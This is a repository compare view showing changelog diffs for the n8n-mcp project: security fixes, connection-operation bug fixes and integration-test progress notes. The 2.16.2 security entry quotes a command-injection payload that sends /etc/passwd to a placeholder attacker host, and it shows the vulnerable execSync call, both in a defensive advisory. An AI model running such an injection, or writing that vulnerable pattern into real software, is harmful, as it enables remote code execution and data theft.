mirror of
https://github.com/czlonkowski/n8n-mcp.git
synced 2026-01-30 22:42:04 +00:00
Compare commits
25 Commits
| Author | SHA1 | Date | |
|---|---|---|---|
|
|
9a00a99011 | ||
|
|
36aedd5050 | ||
|
|
59f49c47ab | ||
|
|
b106550520 | ||
|
|
e1be4473a3 | ||
|
|
b12a927a10 | ||
|
|
08abdb7937 | ||
|
|
95bb002577 | ||
|
|
36e02c68d3 | ||
|
|
3078273d93 | ||
|
|
aeb74102e5 | ||
|
|
af949b09a5 | ||
|
|
44568a6edd | ||
|
|
59e4cb85ac | ||
|
|
f78f53e731 | ||
|
|
c6e0e528d1 | ||
|
|
34bafe240d | ||
|
|
f139d38c81 | ||
|
|
aeaba3b9ca | ||
|
|
a7bfa73479 | ||
|
|
ee125c52f8 | ||
|
|
f9194ee74c | ||
|
|
2a85000411 | ||
|
|
653f395666 | ||
|
|
cfe3c5e584 |
473
CHANGELOG.md
473
CHANGELOG.md
@@ -5,6 +5,479 @@ All notable changes to this project will be documented in this file.
|
||||
The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.0.0/),
|
||||
and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0.html).
|
||||
|
||||
## [2.16.2] - 2025-10-06
|
||||
|
||||
### 🔒 Security
|
||||
|
||||
**CRITICAL security fixes for production deployments. All users should upgrade immediately.**
|
||||
|
||||
This release addresses 2 critical security vulnerabilities identified in the security audit (Issue #265):
|
||||
|
||||
- **🚨 CRITICAL-02: Timing Attack Vulnerability**
|
||||
- **Issue:** Non-constant-time string comparison in authentication allowed timing attacks
|
||||
- **Impact:** Authentication tokens could be discovered character-by-character through statistical timing analysis (estimated 24-48 hours to compromise)
|
||||
- **Attack Vector:** Repeated authentication attempts with carefully crafted tokens while measuring response times
|
||||
- **Fix:** Implemented `crypto.timingSafeEqual` for all token comparisons
|
||||
- **Locations Fixed:**
|
||||
- `src/utils/auth.ts:27` - validateToken method
|
||||
- `src/http-server-single-session.ts:1087` - Single-session HTTP auth
|
||||
- `src/http-server.ts:315` - Fixed HTTP server auth
|
||||
- **New Method:** `AuthManager.timingSafeCompare()` - constant-time token comparison utility
|
||||
- **Verification:** 11 unit tests with timing variance analysis (<10% variance proven)
|
||||
- **CVSS:** 8.5 (High) - Confirmed critical, requires authentication but trivially exploitable
|
||||
- **See:** https://github.com/czlonkowski/n8n-mcp/issues/265 (CRITICAL-02)
|
||||
|
||||
- **🚨 CRITICAL-01: Command Injection Vulnerability**
|
||||
- **Issue:** User-controlled `nodeType` parameter injected into shell commands via `execSync`
|
||||
- **Impact:** Remote code execution, data exfiltration, network scanning possible
|
||||
- **Attack Vector:** Malicious nodeType like `test"; curl http://evil.com/$(cat /etc/passwd | base64) #`
|
||||
- **Vulnerable Code (FIXED):** `src/utils/enhanced-documentation-fetcher.ts:567-590`
|
||||
- **Fix:** Eliminated all shell execution, replaced with Node.js fs APIs
|
||||
- Replaced `execSync()` with `fs.readdir()` (recursive, no shell)
|
||||
- Added multi-layer input sanitization: `/[^a-zA-Z0-9._-]/g`
|
||||
- Added directory traversal protection (blocks `..`, `/`, relative paths)
|
||||
- Added `path.basename()` for additional safety
|
||||
- Added final path verification (ensures result within expected directory)
|
||||
- **Benefits:**
|
||||
- ✅ 100% immune to command injection (no shell execution)
|
||||
- ✅ Cross-platform compatible (no dependency on `find`/`grep`)
|
||||
- ✅ Faster (no process spawning overhead)
|
||||
- ✅ Better error handling and logging
|
||||
- **Verification:** 9 integration tests covering all attack vectors
|
||||
- **CVSS:** 8.8 (High) - Requires MCP access but trivially exploitable
|
||||
- **See:** https://github.com/czlonkowski/n8n-mcp/issues/265 (CRITICAL-01)
|
||||
|
||||
### Added
|
||||
|
||||
- **Security Test Suite**
|
||||
- Unit Tests: `tests/unit/utils/auth-timing-safe.test.ts` (11 tests)
|
||||
- Timing variance analysis (proves <10% variance = constant-time)
|
||||
- Edge cases: null, undefined, empty, very long tokens (10000 chars)
|
||||
- Special characters, Unicode, whitespace handling
|
||||
- Case sensitivity verification
|
||||
- Integration Tests: `tests/integration/security/command-injection-prevention.test.ts` (9 tests)
|
||||
- Command injection with all vectors (semicolon, &&, |, backticks, $(), newlines)
|
||||
- Directory traversal prevention (parent dir, URL-encoded, absolute paths)
|
||||
- Special character sanitization
|
||||
- Null byte handling
|
||||
- Legitimate operations (ensures fix doesn't break functionality)
|
||||
|
||||
### Changed
|
||||
|
||||
- **Authentication:** All token comparisons now use timing-safe algorithm
|
||||
- **Documentation Fetcher:** Now uses Node.js fs APIs instead of shell commands
|
||||
- **Security Posture:** Production-ready with hardened authentication and input validation
|
||||
|
||||
### Technical Details
|
||||
|
||||
**Timing-Safe Comparison Implementation:**
|
||||
```typescript
|
||||
// NEW: Constant-time comparison utility
|
||||
static timingSafeCompare(plainToken: string, expectedToken: string): boolean {
|
||||
try {
|
||||
if (!plainToken || !expectedToken) return false;
|
||||
|
||||
const plainBuffer = Buffer.from(plainToken, 'utf8');
|
||||
const expectedBuffer = Buffer.from(expectedToken, 'utf8');
|
||||
|
||||
if (plainBuffer.length !== expectedBuffer.length) return false;
|
||||
|
||||
// Uses crypto.timingSafeEqual for constant-time comparison
|
||||
return crypto.timingSafeEqual(plainBuffer, expectedBuffer);
|
||||
} catch {
|
||||
return false;
|
||||
}
|
||||
}
|
||||
|
||||
// USAGE: Replace token !== this.authToken with:
|
||||
const isValidToken = this.authToken &&
|
||||
AuthManager.timingSafeCompare(token, this.authToken);
|
||||
```
|
||||
|
||||
**Command Injection Fix:**
|
||||
```typescript
|
||||
// BEFORE (VULNERABLE):
|
||||
execSync(`find ${this.docsPath}/docs/integrations/builtin -name "${nodeType}.md"...`)
|
||||
|
||||
// AFTER (SECURE):
|
||||
const sanitized = nodeType.replace(/[^a-zA-Z0-9._-]/g, '');
|
||||
if (sanitized.includes('..') || sanitized.startsWith('.') || sanitized.startsWith('/')) {
|
||||
logger.warn('Path traversal attempt blocked', { nodeType, sanitized });
|
||||
return null;
|
||||
}
|
||||
const safeName = path.basename(sanitized);
|
||||
const files = await fs.readdir(searchPath, { recursive: true });
|
||||
const match = files.find(f => f.endsWith(`${safeName}.md`) && !f.includes('credentials'));
|
||||
```
|
||||
|
||||
### Breaking Changes
|
||||
|
||||
**None** - All changes are backward compatible. No API changes, no environment variable changes, no database migrations.
|
||||
|
||||
### Migration Guide
|
||||
|
||||
**No action required** - This is a drop-in security fix. Simply upgrade:
|
||||
|
||||
```bash
|
||||
npm install n8n-mcp@2.16.2
|
||||
# or
|
||||
npm update n8n-mcp
|
||||
```
|
||||
|
||||
### Deployment Notes
|
||||
|
||||
**Recommended Actions:**
|
||||
1. ✅ **Upgrade immediately** - These are critical security fixes
|
||||
2. ✅ **Review logs** - Check for any suspicious authentication attempts or unusual nodeType parameters
|
||||
3. ✅ **Rotate tokens** - Consider rotating AUTH_TOKEN after upgrade (optional but recommended)
|
||||
|
||||
**No configuration changes needed** - The fixes are transparent to existing deployments.
|
||||
|
||||
### Test Results
|
||||
|
||||
**All Tests Passing:**
|
||||
- Unit tests: 11/11 ✅ (timing-safe comparison)
|
||||
- Integration tests: 9/9 ✅ (command injection prevention)
|
||||
- Timing variance: <10% ✅ (proves constant-time)
|
||||
- All existing tests: ✅ (no regressions)
|
||||
|
||||
**Security Verification:**
|
||||
- ✅ No command execution with malicious inputs
|
||||
- ✅ Timing attack variance <10% (statistical analysis over 1000 samples)
|
||||
- ✅ Directory traversal blocked (parent dir, absolute paths, URL-encoded)
|
||||
- ✅ All special characters sanitized safely
|
||||
|
||||
### Audit Trail
|
||||
|
||||
**Security Audit:** Issue #265 - Third-party security audit identified 25 issues
|
||||
**This Release:** Fixes 2 CRITICAL issues (CRITICAL-01, CRITICAL-02)
|
||||
**Remaining Work:** 20 issues to be addressed in subsequent releases (HIGH, MEDIUM, LOW priority)
|
||||
|
||||
### References
|
||||
|
||||
- Security Audit: https://github.com/czlonkowski/n8n-mcp/issues/265
|
||||
- Implementation Plan: `docs/local/security-implementation-plan-issue-265.md`
|
||||
- Audit Analysis: `docs/local/security-audit-analysis-issue-265.md`
|
||||
|
||||
---
|
||||
|
||||
## [2.16.1] - 2025-10-06
|
||||
|
||||
### Fixed
|
||||
|
||||
- **🐛 Issue #277: Missing Signal Handlers in stdio Mode**
|
||||
- **Problem**: Node.js processes remained orphaned when Claude Desktop quit
|
||||
- **Platform**: Primarily affects Windows 11, but improves reliability on all platforms
|
||||
- **Root Cause**: stdio mode never registered SIGTERM/SIGINT signal handlers
|
||||
- **Impact**: Users had to manually kill processes via Task Manager after quitting Claude Desktop
|
||||
- **Fix**: Added comprehensive graceful shutdown handlers for stdio mode
|
||||
- SIGTERM, SIGINT, and SIGHUP signal handlers
|
||||
- stdin end/close event handlers (PRIMARY shutdown mechanism for Claude Desktop)
|
||||
- Robust container detection: Checks IS_DOCKER/IS_CONTAINER env vars + filesystem markers
|
||||
- Supports Docker, Kubernetes, Podman, and other container runtimes
|
||||
- Container mode: Signal handlers only (prevents detached mode premature shutdown)
|
||||
- Claude Desktop mode: stdin + signal handlers (comprehensive coverage)
|
||||
- Race condition protection with `isShuttingDown` guard
|
||||
- stdin cleanup with null safety (pause + destroy)
|
||||
- Graceful shutdown timeout (1000ms) to allow cleanup to complete
|
||||
- Error handling with try-catch for stdin registration and shutdown
|
||||
- Shutdown trigger logging for debugging (SIGTERM vs stdin close)
|
||||
- Production-hardened based on comprehensive code review
|
||||
- **Location**: `src/mcp/index.ts:91-132`
|
||||
- **Resources Cleaned**: Cache timers and database connections properly closed via existing `shutdown()` method
|
||||
- **Code Review**: Approved with recommendations implemented
|
||||
- **Reporter**: @Eddy-Chahed
|
||||
|
||||
## [2.16.0] - 2025-10-06
|
||||
|
||||
### Added
|
||||
|
||||
- **🎉 Issue #272 Phase 1: Connection Operations UX Improvements**
|
||||
|
||||
**New: `rewireConnection` Operation**
|
||||
- Intuitive operation for changing connection target from one node to another
|
||||
- Syntax: `{type: "rewireConnection", source: "Node", from: "OldTarget", to: "NewTarget"}`
|
||||
- Internally uses remove + add pattern but with clearer semantics
|
||||
- Supports smart parameters (branch, case) for multi-output nodes
|
||||
- Validates all nodes exist before making changes
|
||||
- 8 comprehensive unit tests covering all scenarios
|
||||
|
||||
**New: Smart Parameters for Multi-Output Nodes**
|
||||
- **branch parameter for IF nodes**: Use `branch: "true"` or `branch: "false"` instead of `sourceIndex: 0/1`
|
||||
- **case parameter for Switch nodes**: Use `case: 0`, `case: 1`, etc. instead of `sourceIndex`
|
||||
- Semantic, intuitive syntax that matches node behavior
|
||||
- Explicit sourceIndex overrides smart parameters if both provided
|
||||
- Works with both `addConnection` and `rewireConnection` operations
|
||||
- 8 comprehensive unit tests + 11 integration tests against real n8n API
|
||||
|
||||
### Changed
|
||||
|
||||
- **⚠️ BREAKING: Removed `updateConnection` operation**
|
||||
- Operation removed completely (type definition, implementation, validation, tests)
|
||||
- Migration: Use `rewireConnection` or `removeConnection` + `addConnection` instead
|
||||
- Reason: Confusing operation that was error-prone and rarely needed
|
||||
- All tests updated (137 tests passing)
|
||||
|
||||
### Fixed
|
||||
|
||||
- **🐛 CRITICAL: Issue #275, #136 - TypeError in getNodeTypeAlternatives (57.4% of production errors)**
|
||||
- **Impact**: Eliminated 323 out of 563 production errors, helping 127 users (76.5% of affected users)
|
||||
- **Resolves Issue #136**: "Partial Workflow Updates fail with 'Cannot convert undefined or null to object'" - defensive type guards prevent these crashes
|
||||
- **Root Cause**: `getNodeTypeAlternatives()` called string methods without validating nodeType parameter
|
||||
- **Fix**: Added defense-in-depth protection:
|
||||
- **Layer 1**: Type guard in `getNodeTypeAlternatives()` returns empty array for invalid inputs
|
||||
- **Layer 2**: Enhanced `validateToolParamsBasic()` to catch empty strings
|
||||
- **Affected Tools**: `get_node_essentials` (208 errors → 0), `get_node_info` (115 errors → 0), `get_node_documentation` (17 errors → 0)
|
||||
- **Testing**: 21 comprehensive unit tests, verified with n8n-mcp-tester agent
|
||||
- **Commit**: f139d38
|
||||
|
||||
- **Critical Bug: Smart Parameter Implementation**
|
||||
- **Bug #1**: `branch` parameter initially mapped to `sourceOutput` instead of `sourceIndex`
|
||||
- **Impact**: IF node connections went to wrong output (expected `IF.main[0]`, got `IF.true`)
|
||||
- **Root Cause**: Misunderstood n8n's IF node connection structure
|
||||
- **Fix**: Changed to correctly map `branch="true"` → `sourceIndex=0`, `branch="false"` → `sourceIndex=1`
|
||||
- **Discovered by**: n8n-mcp-tester agent testing against real n8n API
|
||||
- **Commit**: a7bfa73
|
||||
|
||||
- **Critical Bug: Zod Schema Stripping Parameters**
|
||||
- **Bug #2**: `branch`, `case`, `from`, `to` parameters stripped by Zod validation
|
||||
- **Impact**: Parameters never reached diff engine, smart parameters silently failed
|
||||
- **Root Cause**: Parameters not defined in Zod schema in handlers-workflow-diff.ts
|
||||
- **Fix**: Added missing parameters to schema
|
||||
- **Discovered by**: n8n-mcp-tester agent
|
||||
- **Commit**: aeaba3b
|
||||
|
||||
- **🔥 CRITICAL Bug: Array Index Corruption in Multi-Output Nodes**
|
||||
- **Bug #3**: `applyRemoveConnection()` filtered empty arrays, causing index shifting in multi-output nodes
|
||||
- **Impact**: PRODUCTION-BREAKING for Switch, IF with multiple handlers, Merge nodes
|
||||
- **Severity**: Connections routed to wrong outputs after rewiring
|
||||
- **Example**: Switch with 4 outputs `[[H0], [H1], [H2], [H3]]` → remove H1 → `[[H0], [H2], [H3]]` (indices shifted!)
|
||||
- **Root Cause**: Line 697 filtered empty arrays: `connections.filter(conns => conns.length > 0)`
|
||||
- **Fix**: Only remove trailing empty arrays, preserve intermediate ones to maintain index integrity
|
||||
- **Code Change**:
|
||||
```typescript
|
||||
// Before (BUGGY):
|
||||
workflow.connections[node][output] = connections.filter(conns => conns.length > 0);
|
||||
|
||||
// After (FIXED):
|
||||
while (connections.length > 0 && connections[connections.length - 1].length === 0) {
|
||||
connections.pop();
|
||||
}
|
||||
```
|
||||
- **Testing**: Added integration test verifying Switch node rewiring preserves all indices
|
||||
- **Discovered by**: n8n-mcp-tester agent during comprehensive testing
|
||||
- **Commit**: aeb7410
|
||||
|
||||
- **TypeScript Compilation**: Added missing type annotations in workflow diff tests (Commit: 653f395)
|
||||
|
||||
### Improved
|
||||
|
||||
- **Integration Testing**: Created comprehensive integration tests against real n8n API
|
||||
- 11 tests covering IF nodes, Switch nodes, and rewireConnection
|
||||
- Tests validate actual n8n workflow structure, not in-memory objects
|
||||
- Would have caught both smart parameter bugs that unit tests missed
|
||||
- File: `tests/integration/n8n-api/workflows/smart-parameters.test.ts`
|
||||
- **Commit**: 34bafe2
|
||||
|
||||
- **Documentation**: Updated MCP tool documentation
|
||||
- Removed `updateConnection` references
|
||||
- Added `rewireConnection` with 4 examples
|
||||
- Added smart parameters section with IF and Switch examples
|
||||
- Updated best practices and pitfalls
|
||||
- Removed version references (AI agents see current state)
|
||||
- Files: `src/mcp/tool-docs/workflow_management/n8n-update-partial-workflow.ts`, `docs/workflow-diff-examples.md`
|
||||
- **Commit**: f78f53e
|
||||
|
||||
### Test Coverage
|
||||
|
||||
- **Total Tests**: 178 tests passing (158 unit + 20 integration against real n8n API)
|
||||
- **Coverage**: 90.98% statements, 89.86% branches, 93.02% functions
|
||||
- **Quality**: Integration tests against real n8n API prevent regression
|
||||
- **New Tests**:
|
||||
- 21 tests for TypeError prevention (Issue #275)
|
||||
- 8 tests for rewireConnection operation
|
||||
- 8 tests for smart parameters
|
||||
- 20 integration tests against real n8n API:
|
||||
- **Multi-output nodes (sourceIndex preservation)**:
|
||||
- Switch node rewiring with index preservation
|
||||
- IF node empty array preservation on removal
|
||||
- Switch node removing first case (production-breaking bug scenario)
|
||||
- Sequential operations on Switch node
|
||||
- Filter node connection rewiring
|
||||
- **Multi-input nodes (targetIndex preservation)**:
|
||||
- Merge node removing connection to input 0
|
||||
- Merge node removing middle connection (inputs 0, 2 preserved)
|
||||
- Merge node replacing source connections
|
||||
- Merge node sequential operations
|
||||
|
||||
### Technical Details
|
||||
|
||||
**TypeError Prevention (Issue #275):**
|
||||
```typescript
|
||||
// Layer 1: Defensive utility function
|
||||
export function getNodeTypeAlternatives(nodeType: string): string[] {
|
||||
// Return empty array for invalid inputs instead of crashing
|
||||
if (!nodeType || typeof nodeType !== 'string' || nodeType.trim() === '') {
|
||||
return [];
|
||||
}
|
||||
// ... rest of function
|
||||
}
|
||||
|
||||
// Layer 2: Enhanced validation
|
||||
if (param === '') {
|
||||
errors.push(`String parameters cannot be empty. Parameter '${key}' has value: ""`);
|
||||
}
|
||||
```
|
||||
|
||||
**Smart Parameters Resolution:**
|
||||
```typescript
|
||||
// Resolve branch parameter for IF nodes
|
||||
if (operation.branch !== undefined && operation.sourceIndex === undefined) {
|
||||
if (sourceNode?.type === 'n8n-nodes-base.if') {
|
||||
sourceIndex = operation.branch === 'true' ? 0 : 1;
|
||||
// sourceOutput remains 'main'
|
||||
}
|
||||
}
|
||||
|
||||
// Resolve case parameter for Switch nodes
|
||||
if (operation.case !== undefined && operation.sourceIndex === undefined) {
|
||||
sourceIndex = operation.case;
|
||||
}
|
||||
```
|
||||
|
||||
**Real n8n IF Node Structure:**
|
||||
```json
|
||||
"IF": {
|
||||
"main": [
|
||||
[/* true branch connections, index 0 */],
|
||||
[/* false branch connections, index 1 */]
|
||||
]
|
||||
}
|
||||
```
|
||||
|
||||
### Migration Guide
|
||||
|
||||
**Before (v2.15.7):**
|
||||
```typescript
|
||||
// Old way: updateConnection (REMOVED)
|
||||
{type: "updateConnection", source: "Webhook", target: "Handler", updates: {...}}
|
||||
|
||||
// Old way: Multi-output nodes (still works)
|
||||
{type: "addConnection", source: "IF", target: "Success", sourceIndex: 0}
|
||||
```
|
||||
|
||||
**After (v2.16.0):**
|
||||
```typescript
|
||||
// New way: rewireConnection
|
||||
{type: "rewireConnection", source: "Webhook", from: "OldHandler", to: "NewHandler"}
|
||||
|
||||
// New way: Smart parameters (recommended)
|
||||
{type: "addConnection", source: "IF", target: "Success", branch: "true"}
|
||||
{type: "addConnection", source: "IF", target: "Error", branch: "false"}
|
||||
{type: "addConnection", source: "Switch", target: "Handler", case: 0}
|
||||
```
|
||||
|
||||
### Impact Summary
|
||||
|
||||
**Production Error Reduction:**
|
||||
- Issue #275 fix: -323 errors (-57.4% of total production errors)
|
||||
- Helps 127 users (76.5% of users experiencing errors)
|
||||
|
||||
**UX Improvements:**
|
||||
- Semantic parameters make multi-output node connections intuitive
|
||||
- `rewireConnection` provides clear intent for connection changes
|
||||
- Integration tests ensure production reliability
|
||||
|
||||
**Breaking Changes:**
|
||||
- `updateConnection` removed (use `rewireConnection` or manual remove+add)
|
||||
|
||||
### References
|
||||
|
||||
- **Issue #272**: Connection operations improvements (Phase 0 + Phase 1)
|
||||
- **Issue #204**: Differential update failures on Windows
|
||||
- **Issue #275**: TypeError in getNodeTypeAlternatives
|
||||
- **Issue #136**: Partial Workflow Updates fail with "Cannot convert undefined or null to object" (resolved by defensive type guards)
|
||||
- **Commits**:
|
||||
- Phase 0: cfe3c5e, 653f395, 2a85000
|
||||
- Phase 1: f9194ee, ee125c5, a7bfa73, aeaba3b, 34bafe2, c6e0e52, f78f53e
|
||||
- Issue #275/#136: f139d38
|
||||
|
||||
## [2.15.7] - 2025-10-05
|
||||
|
||||
### Fixed
|
||||
|
||||
- **🐛 CRITICAL: Issue #272, #204 - Connection Operations Phase 0 Fixes**
|
||||
|
||||
**Bug #1: Multi-Output Node Routing Broken**
|
||||
- **Problem**: `addConnection` ignored `sourceIndex` parameter due to `||` operator treating `0` as falsy
|
||||
- **Impact**: IF nodes, Switch nodes, and all conditional routing completely broken
|
||||
- **Root Cause**: Used `operation.sourceIndex || 0` instead of `operation.sourceIndex ?? 0`
|
||||
- **Fix**: Changed to nullish coalescing (`??`) operator to properly handle explicit `0` values
|
||||
- **Added**: Defensive array validation before index access
|
||||
- **Result**: Multi-output nodes now work reliably (rating improved 3/10 → 9/10)
|
||||
- **Test Coverage**: 6 comprehensive tests covering IF nodes, Switch nodes, and parallel execution
|
||||
|
||||
**Bug #2: Server Crashes from Missing `updates` Object**
|
||||
- **Problem**: `updateConnection` without `updates` object caused server crash with "Cannot read properties of undefined"
|
||||
- **Impact**: Malformed requests from AI agents crashed the MCP server
|
||||
- **Fix**: Added runtime validation with comprehensive error message
|
||||
- **Error Message Quality**:
|
||||
- Shows what was provided (JSON.stringify of operation)
|
||||
- Explains what's wrong and why
|
||||
- Provides correct format with example
|
||||
- Suggests alternative approach (removeConnection + addConnection)
|
||||
- **Result**: No crashes, self-service troubleshooting enabled (rating improved 2/10 → 8/10)
|
||||
- **Test Coverage**: 2 tests for missing and invalid `updates` object
|
||||
|
||||
### Improved
|
||||
|
||||
- **Connection Operations Overall Experience**: 4.5/10 → 8.5/10 (+89% improvement)
|
||||
- **Error Handling**: Helpful, actionable error messages instead of cryptic crashes
|
||||
- **Documentation**: Updated tool docs with Phase 0 fix notes and new pitfall warnings
|
||||
- **Developer Experience**: Better use of nullish coalescing, defensive programming patterns
|
||||
|
||||
### Test Coverage
|
||||
|
||||
- Total Tests: 126/126 passing (100%)
|
||||
- New Tests: 8 comprehensive tests for Phase 0 fixes
|
||||
- Coverage: 91.16% statements, 88.14% branches, 92.85% functions
|
||||
- Test Quality: All edge cases covered, strong assertions, independent test isolation
|
||||
|
||||
### Technical Details
|
||||
|
||||
**Multi-Output Node Fix:**
|
||||
```typescript
|
||||
// Before (BROKEN):
|
||||
const sourceIndex = operation.sourceIndex || 0; // 0 treated as falsy!
|
||||
|
||||
// After (FIXED):
|
||||
const sourceIndex = operation.sourceIndex ?? 0; // explicit 0 preserved
|
||||
```
|
||||
|
||||
**Runtime Validation Fix:**
|
||||
```typescript
|
||||
// Added comprehensive validation:
|
||||
if (!operation.updates || typeof operation.updates !== 'object') {
|
||||
throw new Error(/* helpful 15-line error message */);
|
||||
}
|
||||
```
|
||||
|
||||
### References
|
||||
|
||||
- Issue #272: Connection operations failing (Polish language issue report)
|
||||
- Issue #204: Differential update failures on Windows
|
||||
- Analysis Document: `docs/local/connection-operations-deep-dive-and-improvement-plan.md` (2176 lines)
|
||||
- Testing: Hands-on validation with n8n-mcp-tester agent
|
||||
- Code Review: Comprehensive review against improvement plan
|
||||
|
||||
### Phase 1 Roadmap
|
||||
|
||||
Phase 0 addressed critical bugs. Future Phase 1 improvements planned:
|
||||
- Add `rewireConnection` operation for intuitive connection rewiring
|
||||
- Add smart parameters (`branch` for IF nodes, `case` for Switch nodes)
|
||||
- Enhanced error messages with spell-checking
|
||||
- Deprecation path for `updateConnection`
|
||||
|
||||
## [2.15.6] - 2025-10-05
|
||||
|
||||
### Fixed
|
||||
|
||||
BIN
data/nodes.db
BIN
data/nodes.db
Binary file not shown.
@@ -5,6 +5,56 @@ All notable changes to this project will be documented in this file.
|
||||
The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.0.0/),
|
||||
and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0.html).
|
||||
|
||||
## [Unreleased] - Phase 0: Connection Operations Critical Fixes
|
||||
|
||||
### Fixed
|
||||
- **🐛 CRITICAL: Fixed `addConnection` sourceIndex handling (Issue #272, discovered in hands-on testing)**
|
||||
- Multi-output nodes (IF, Switch) now work correctly with sourceIndex parameter
|
||||
- Changed from `||` to `??` operator to properly handle explicit 0 values
|
||||
- Added defensive array validation before accessing indices
|
||||
- Improves rating from 3/10 to 8/10 for multi-output node scenarios
|
||||
- **Impact**: IF nodes, Switch nodes, and all conditional routing now reliable
|
||||
|
||||
- **🐛 CRITICAL: Added runtime validation for `updateConnection` (Issue #272, #204)**
|
||||
- Prevents server crashes when `updates` object is missing
|
||||
- Provides helpful error message with:
|
||||
- Clear explanation of what's wrong
|
||||
- Correct format example
|
||||
- Suggestion to use removeConnection + addConnection for rewiring
|
||||
- Validates `updates` is an object, not string or other type
|
||||
- **Impact**: No more cryptic "Cannot read properties of undefined" crashes
|
||||
|
||||
### Enhanced
|
||||
- **Error Messages**: `updateConnection` errors now include actionable guidance
|
||||
- Example format shown in error
|
||||
- Alternative approaches suggested (removeConnection + addConnection)
|
||||
- Clear explanation that updateConnection modifies properties, not targets
|
||||
|
||||
### Testing
|
||||
- Added 8 comprehensive tests for Phase 0 fixes
|
||||
- 2 tests for updateConnection validation (missing updates, invalid type)
|
||||
- 5 tests for sourceIndex handling (IF nodes, parallel execution, Switch nodes, explicit 0)
|
||||
- 1 test for complex multi-output routing scenarios
|
||||
- All 126 existing tests still passing
|
||||
|
||||
### Documentation
|
||||
- Updated tool documentation to clarify:
|
||||
- `addConnection` now properly handles sourceIndex (Phase 0 fix noted)
|
||||
- `updateConnection` REQUIRES 'updates' object (Phase 0 validation noted)
|
||||
- Added pitfalls about updateConnection limitations
|
||||
- Clarified that updateConnection modifies properties, NOT connection targets
|
||||
|
||||
### Developer Experience
|
||||
- More defensive programming throughout connection operations
|
||||
- Better use of nullish coalescing (??) vs. logical OR (||)
|
||||
- Clear inline comments explaining expected behavior
|
||||
- Improved type safety with runtime guards
|
||||
|
||||
### References
|
||||
- Comprehensive analysis: `docs/local/connection-operations-deep-dive-and-improvement-plan.md`
|
||||
- Based on hands-on testing with n8n-mcp-tester agent
|
||||
- Overall experience rating improved from 4.5/10 to estimated 6/10
|
||||
|
||||
## [2.14.4] - 2025-09-30
|
||||
|
||||
### Added
|
||||
|
||||
@@ -70,7 +70,72 @@
|
||||
- Test file: validate-workflow.test.ts (431 lines)
|
||||
- Test results: 83/83 integration tests passing (Phase 1-5, 6A complete)
|
||||
|
||||
**Next Phase**: Phase 6B - Workflow Autofix Tests
|
||||
**Phase 6B: Workflow Autofix Tests** ✅ **COMPLETE** (October 5, 2025)
|
||||
- 16 test scenarios implemented and passing
|
||||
- All autofix operations tested: preview mode, apply mode, fix types, confidence filtering
|
||||
- Test coverage:
|
||||
- Preview mode (2 scenarios - expression-format, multiple fix types)
|
||||
- Apply mode (2 scenarios - expression-format, webhook-missing-path)
|
||||
- Fix type filtering (2 scenarios - single type, multiple types)
|
||||
- Confidence thresholds (3 scenarios - high, medium, low)
|
||||
- Max fixes parameter (1 scenario)
|
||||
- No fixes available (1 scenario)
|
||||
- Error handling (3 scenarios - non-existent workflow, invalid parameters)
|
||||
- Response format verification (2 scenarios - preview and apply modes)
|
||||
- Fix types tested:
|
||||
- expression-format (missing = prefix for resource locators)
|
||||
- typeversion-correction (outdated typeVersion values)
|
||||
- error-output-config (error output configuration issues)
|
||||
- node-type-correction (incorrect node types)
|
||||
- webhook-missing-path (missing webhook path parameters)
|
||||
- Code quality improvements:
|
||||
- Fixed database resource leak in NodeRepository utility
|
||||
- Added TypeScript interfaces (ValidationResponse, AutofixResponse)
|
||||
- Replaced unsafe `as any` casts with proper type definitions
|
||||
- All lint and typecheck errors resolved
|
||||
- Test file: autofix-workflow.test.ts (855 lines)
|
||||
- Test results: 99/99 integration tests passing (Phase 1-6 complete)
|
||||
|
||||
**Phase 7: Execution Management Tests** ✅ **COMPLETE** (October 5, 2025)
|
||||
- 54 test scenarios implemented and passing
|
||||
- All 4 execution management handlers tested against real n8n instance
|
||||
- Test coverage:
|
||||
- handleTriggerWebhookWorkflow (20 tests): All HTTP methods (GET/POST/PUT/DELETE), query params, JSON body, custom headers, error handling
|
||||
- handleGetExecution (16 tests): All 4 retrieval modes (preview/summary/filtered/full), node filtering, item limits, input data inclusion, legacy compatibility
|
||||
- handleListExecutions (13 tests): Status filtering (success/error/waiting), pagination with cursor, various limits (1/10/50/100), data inclusion control
|
||||
- handleDeleteExecution (5 tests): Successful deletion, verification via fetch attempt, error handling
|
||||
- Critical fix: Corrected response structure expectations (executions/returned vs data/count)
|
||||
- Test files:
|
||||
- trigger-webhook.test.ts (375 lines, 20 tests)
|
||||
- get-execution.test.ts (429 lines, 16 tests)
|
||||
- list-executions.test.ts (264 lines, 13 tests)
|
||||
- delete-execution.test.ts (149 lines, 5 tests)
|
||||
- Code review: APPROVED (9.5/10 quality score)
|
||||
- Test results: 153/153 integration tests passing (Phase 1-7 complete)
|
||||
|
||||
**Phase 8: System Tools Tests** ✅ **COMPLETE** (October 5, 2025)
|
||||
- 19 test scenarios implemented and passing
|
||||
- All 3 system tool handlers tested against real n8n instance
|
||||
- Test coverage:
|
||||
- handleHealthCheck (3 tests): API connectivity verification, version information, feature availability
|
||||
- handleListAvailableTools (7 tests): Complete tool inventory by category, configuration status, API limitations
|
||||
- handleDiagnostic (9 tests): Environment checks, API connectivity, tools availability, verbose mode with debug info
|
||||
- TypeScript type safety improvements:
|
||||
- Created response-types.ts with comprehensive interfaces for all response types
|
||||
- Replaced all 'as any' casts with proper TypeScript interfaces
|
||||
- Added null-safety checks and non-null assertions
|
||||
- Full type safety and IDE autocomplete support
|
||||
- Test files:
|
||||
- health-check.test.ts (117 lines, 3 tests)
|
||||
- list-tools.test.ts (181 lines, 7 tests)
|
||||
- diagnostic.test.ts (243 lines, 9 tests)
|
||||
- response-types.ts (241 lines, comprehensive type definitions)
|
||||
- Code review: APPROVED
|
||||
- Test results: 172/172 integration tests passing (Phase 1-8 complete)
|
||||
|
||||
**🎉 INTEGRATION TEST SUITE COMPLETE**: All 18 MCP handlers fully tested
|
||||
|
||||
**Next Phase**: Update documentation and finalize integration testing plan
|
||||
|
||||
---
|
||||
|
||||
@@ -1166,15 +1231,16 @@ jobs:
|
||||
- ✅ All tests passing against real n8n instance
|
||||
|
||||
### Overall Project (In Progress)
|
||||
- ⏳ All 17 handlers have integration tests (10 of 17 complete)
|
||||
- ⏳ All operations/parameters covered (83 of 150+ scenarios complete)
|
||||
- ✅ Tests run successfully locally (Phases 1-6A verified)
|
||||
